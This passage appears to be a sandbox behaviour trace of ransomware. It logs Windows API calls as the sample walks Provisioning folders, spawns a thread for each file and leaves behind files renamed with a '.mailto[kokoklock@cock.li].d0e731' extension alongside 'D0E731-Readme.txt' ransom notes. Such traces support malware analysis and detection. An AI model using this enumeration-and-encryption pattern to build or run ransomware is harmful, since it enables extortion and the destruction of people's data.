ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a85459b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.046] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.047] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d3e0 [0174.047] wcscpy (in: _Dest=0x305d3e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0174.047] wcscat (in: _Dest=0x305d3e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0174.047] wcscat (in: _Dest=0x305d3e0, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d3e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0174.047] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb6bbaa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb6bbaa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.047] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.047] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30556f8 [0174.047] wcscpy (in: _Dest=0x30556f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}" [0174.047] wcscat (in: _Dest=0x30556f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0174.047] wcscat (in: _Dest=0x30556f8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0174.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30556f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x86c [0174.048] FindNextFileW (in: hFindFile=0x2f805e0, lpFindFileData=0x30200a0 | out: lpFindFileData=0x30200a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb6bbaa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb6bbaa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.048] FindClose (in: hFindFile=0x2f805e0 | out: hFindFile=0x2f805e0) returned 1 [0174.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30200a0) returned 1 [0174.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f913a0) returned 1 [0174.049] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92160) returned 1 [0174.049] RtlExitUserThread (Status=0x0) Thread: id = 2158 os_tid = 0x12a0 [0173.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91500 [0173.613] wcscpy (in: _Dest=0x2f91500, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0173.613] wcscat (in: _Dest=0x2f91500, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0173.613] wcscat (in: _Dest=0x2f91500, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*" [0173.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0173.613] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a76f442, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a76f442, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80760 [0173.615] wcscmp (_String1=".", _String2=".") returned 0 [0173.616] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a76f442, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a76f442, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.616] wcscmp (_String1="..", _String2=".") returned 1 [0173.616] wcscmp (_String1="..", _String2="..") returned 0 [0173.616] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a722ede, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.616] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.616] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f8fe98 [0173.616] wcscpy (in: _Dest=0x2f8fe98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0173.616] wcscat (in: _Dest=0x2f8fe98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0173.616] wcscat (in: _Dest=0x2f8fe98, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fe98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0174.042] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a722ede, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a722ede, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a722ede, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.042] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.042] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.042] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a749159, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.042] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.042] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.042] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d2c8 [0174.042] wcscpy (in: _Dest=0x305d2c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0174.042] wcscat (in: _Dest=0x305d2c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0174.042] wcscat (in: _Dest=0x305d2c8, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x878 [0174.043] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb458b8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.043] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.043] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.043] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055640 [0174.043] wcscpy (in: _Dest=0x3055640, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}" [0174.043] wcscat (in: _Dest=0x3055640, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\" [0174.043] wcscat (in: _Dest=0x3055640, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0174.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0174.044] FindNextFileW (in: hFindFile=0x2f80760, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb458b8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.044] FindClose (in: hFindFile=0x2f80760 | out: hFindFile=0x2f80760) returned 1 [0174.045] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0174.045] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91500) returned 1 [0174.045] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92420) returned 1 [0174.045] RtlExitUserThread (Status=0x0) Thread: id = 2159 os_tid = 0x12a4 [0173.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f915b0 [0173.616] wcscpy (in: _Dest=0x2f915b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0173.616] wcscat (in: _Dest=0x2f915b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0173.616] wcscat (in: _Dest=0x2f915b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*" [0173.616] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020a40 [0173.616] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\*", lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a6d6a43, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a6d6a43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80120 [0173.618] wcscmp (_String1=".", _String2=".") returned 0 [0173.618] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8a6d6a43, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a6d6a43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.618] wcscmp (_String1="..", _String2=".") returned 1 [0173.618] wcscmp (_String1="..", _String2="..") returned 0 [0173.618] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fedfc8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fedfc8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a6b0874, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.618] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.618] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.618] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f8ffb0 [0173.618] wcscpy (in: _Dest=0x2f8ffb0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0173.618] wcscat (in: _Dest=0x2f8ffb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0173.618] wcscat (in: _Dest=0x2f8ffb0, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8ffb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628 [0174.038] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6b0874, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a6b0874, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a6b0874, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.038] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.038] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.038] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8a6d6a43, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.038] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.038] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d1b0 [0174.038] wcscpy (in: _Dest=0x305d1b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0174.038] wcscat (in: _Dest=0x305d1b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0174.038] wcscat (in: _Dest=0x305d1b0, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880 [0174.039] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb1f6d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.039] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.039] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.039] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055588 [0174.039] wcscpy (in: _Dest=0x3055588, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}" [0174.039] wcscat (in: _Dest=0x3055588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0174.039] wcscat (in: _Dest=0x3055588, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0174.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x87c [0174.040] FindNextFileW (in: hFindFile=0x2f80120, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb1f6d5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.040] FindClose (in: hFindFile=0x2f80120 | out: hFindFile=0x2f80120) returned 1 [0174.040] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020a40) returned 1 [0174.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f915b0) returned 1 [0174.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f922c0) returned 1 [0174.041] RtlExitUserThread (Status=0x0) Thread: id = 2160 os_tid = 0x12a8 [0173.619] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91660 [0173.619] wcscpy (in: _Dest=0x2f91660, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" [0173.619] wcscat (in: _Dest=0x2f91660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\Users\\All 